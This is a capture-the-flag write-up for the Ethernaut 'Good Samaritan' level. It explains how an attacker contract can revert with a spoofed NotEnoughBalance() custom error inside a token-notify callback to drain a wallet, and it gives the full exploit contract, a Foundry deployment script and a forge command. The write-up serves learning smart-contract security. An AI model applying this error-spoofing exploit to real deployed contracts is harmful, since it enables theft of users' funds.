The Ethernaut CTF Solutions | 27 - Good Samaritan

The Ethernaut CTF Solutions | 27 - Good Samaritan

Thanks for the Notif: Manipulating Custom Errors to Exploit Good Intentions

ยท

5 min read

Goals

The Contract

A really fun challenge, with a simple goal and a pretty recent vulnerability introduced that we will need to be aware of from now on!

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import {Address} from "../helpers/Address.sol";

contract GoodSamaritan {
    Wallet public wallet;
    Coin public coin;

    constructor() {
        wallet = new Wallet();
        coin = new Coin(address(wallet));

        wallet.setCoin(coin);
    }

    function requestDonation() external returns (bool enoughBalance) {
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (
                keccak256(abi.encodeWithSignature("NotEnoughBalance()")) ==
                keccak256(err)
            ) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }
}

contract Coin {
    using Address for address;

    mapping(address => uint256) public balances;

    error InsufficientBalance(uint256 current, uint256 required);

    constructor(address wallet_) {
        // one million coins for Good Samaritan initially
        balances[wallet_] = 10 ** 6;
    }

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if (amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if (dest_.isContract()) {
                // notify contract
                INotifyable(dest_).notify(amount_);
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }
}

contract Wallet {
    // The owner of the wallet instance
    address public owner;

    Coin public coin;

    error OnlyOwner();
    error NotEnoughBalance();

    modifier onlyOwner() {
        if (msg.sender != owner) {
            revert OnlyOwner();
        }
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function donate10(address dest_) external onlyOwner {
        // check balance left
        if (coin.balances(address(this)) < 10) {
            revert NotEnoughBalance();
        } else {
            // donate 10 coins
            coin.transfer(dest_, 10);
        }
    }

    function transferRemainder(address dest_) external onlyOwner {
        // transfer balance left
        coin.transfer(dest_, coin.balances(address(this)));
    }

    function setCoin(Coin coin_) external onlyOwner {
        coin = coin_;
    }
}

interface INotifyable {
    function notify(uint256 amount) external;
}

The hack

We are given three contracts in the GoodSamaritan level:

  1. GoodSamaritan - The contract in charge of distributing the donations.

  2. Coin - A very minimalist token implementation handling the users' balances.

  3. Wallet - The wallet belonging to this good old sama.

How to drain the good old Sama's wallet?

Let's check the GoodSamaritan::requestDonation function:

function requestDonation() external returns(bool enoughBalance){
    // donate 10 coins to requester
    try wallet.donate10(msg.sender) {
        return true;
    } catch (bytes memory err) {
        if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
            // send the coins left
            wallet.transferRemainder(msg.sender);
            return false;
        }
    }
}

From there, we can either:

  • request 10 coins many, many, many times, or...

  • try to find a way to trigger the transferRemainder function to withdraw everything at once.

So, because we are lazy, let's try to withdraw everything at once!

The transferRemainder() function is protected by the onlyOwner modifier, so the only way to trigger it is by reverting with the NotEnoughBalance() custom error.

So what happens exactly when we request a donation? The Wallet::donnate10() function is called:

function donate10(address dest_) external onlyOwner {
    if (coin.balances(address(this)) < 10) {
        revert NotEnoughBalance();
    } else {
        coin.transfer(dest_, 10);
    }
}

This function reverts with the NotEnoughBalance() error only if the wallet's balance is less than 10. Otherwise, it forwards the call to the Coin::transfer function.

function transfer(address dest_, uint256 amount_) external {
    uint256 currentBalance = balances[msg.sender];

    if(amount_ <= currentBalance) {
        balances[msg.sender] -= amount_;
        balances[dest_] += amount_;

        if(dest_.isContract()) {
            INotifyable(dest_).notify(amount_);
        }
    } else {
        revert InsufficientBalance(currentBalance, amount_);
    }
}

This custom transfer() function is interesting because it calls the INotifyable::notify function if the destination address is a contract. And this relies on the INotifyable interface. So what if we implement the INotifyable interface to revert to the NotEnoughBalance() error if we receive 10 coins?

So the flow would be like this:

  1. GoodSamaritan::requestDonation()

  2. Wallet::donate10()

  3. Coin::transfer()

  4. INotifyable::notify()

  5. ThanksForTheNotif::revert NotEnoughBalance()

  6. wallet::transferRemainder()

Yes, that's right, a custom error thrown in a catch block from a try/catch can be thrown by any other contract since they are identified by their 4-byte selector!

There we have it. Upon receiving the notification from the donation, our contract will trigger a revert with the same custom error, which will have the same 4-byte selector, and pass the check in the requestDonation() function, triggering the wallet.transferRemainder(msg.sender) function.

Since custom errors are cheaper in gas than their require() alternatives, they have become best practice and this kind of hack in try/catch block might become more common.

Solution

Here is the ThanksForTheNotif contract that will do just that for us:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface INotifyable {
    function notify(uint256 amount) external;
}

interface IGoodOldSama {
    function coin() external returns (address);
    function wallet() external returns (address);
    function requestDonation() external returns (bool);
}

interface ICoin {
    function balances(address user) external view returns (uint256);
}

contract ThanksForTheNotif {
    IGoodOldSama private goodOldSama;
    ICoin private coin;
    address private wallet;

    error NotEnoughBalance();

    constructor(address _goodOldSama) {
        goodOldSama = IGoodOldSama(_goodOldSama);
        coin = ICoin(goodOldSama.coin());
        wallet = goodOldSama.wallet();
    }

    function notify(uint256 amount) public pure {
        if (amount == 10) {
            revert NotEnoughBalance();
        }
    }

    function attack() public {
        goodOldSama.requestDonation();
        require(coin.balances(wallet) == 0, "Attack failed!");
    }
}

Now, let's write a quick deployment script:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script} from "forge-std/Script.sol";
import {ThanksForTheNotif} from "../src/27_GoodSamaritan.sol";

contract PoC is Script {
    // Replace with your GoodSamaritan instance
    address goodOldSama = 0x19bd36accED359007B00Baf460Eb07045c3396BD;

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        ThanksForTheNotif thanksForTheNotif = new ThanksForTheNotif(
            goodOldSama
        );
        thanksForTheNotif.attack();

        vm.stopBroadcast();
    }
}

The command to run the script:

forge script script/27_GoodSamaritan.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

๐ŸŽ‰ Level completed ๐ŸŽ‰

Takeaway

  • Custom errors in a try/catch block can be thrown by any other contract since they are identified by their 4-byte selector.

You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

ย